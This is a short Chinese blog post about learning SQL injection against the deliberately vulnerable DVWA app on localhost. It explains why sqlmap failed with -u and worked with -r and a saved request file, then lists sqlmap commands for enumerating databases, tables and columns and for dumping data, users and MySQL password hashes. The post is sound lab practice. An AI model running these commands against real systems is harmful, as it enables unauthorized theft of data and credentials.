真好,一个sqlmap注入问题困扰我一周,最后发现命令给错了。
事情是这样子的:
利用sqlmap对DVWA中Low进行SQL注入
输入: python sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1
报错:不可注入…提示
后来我根据提示中的命令重新输入了一次,发现还是有问题(单独加cookie也不行)
吐了呀,一直以为环境有问题,sqlmap和python又重装了一遍。
然后用kali虚拟机注入,都一样结果。
直到今天,用一个带上一个响应包注入成功了
?
切记: sqlmap.py -u 后面是跟URL
sqlmap.py -r 后面是跟响应数据
sqlmap进行注入时,最好使用-r
最后再复习一下sqlmap注入命令:
1、是否存在注入点
python sqlmap.py -r “响应包路径”
2、获取注入点所有数据库
python sqlmap.py -r “响应包路径” --dbs
3、获取当前使用的数据库
python sqlmap.py -r “响应包路径” --current-db --batch
4、获取数据库中的表
python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch
5、获取表中的字段信息
python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch
6、获取字段具体信息
python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch
7、当前使用的账户
python sqlmap.py -r “响应包路径” --current-user
8、列出所有使用过的账户
python sqlmap.py -r “响应包路径” –users
9、
mysql的登录账户和密码
python sqlmap.py -r “响应包路径” –passwords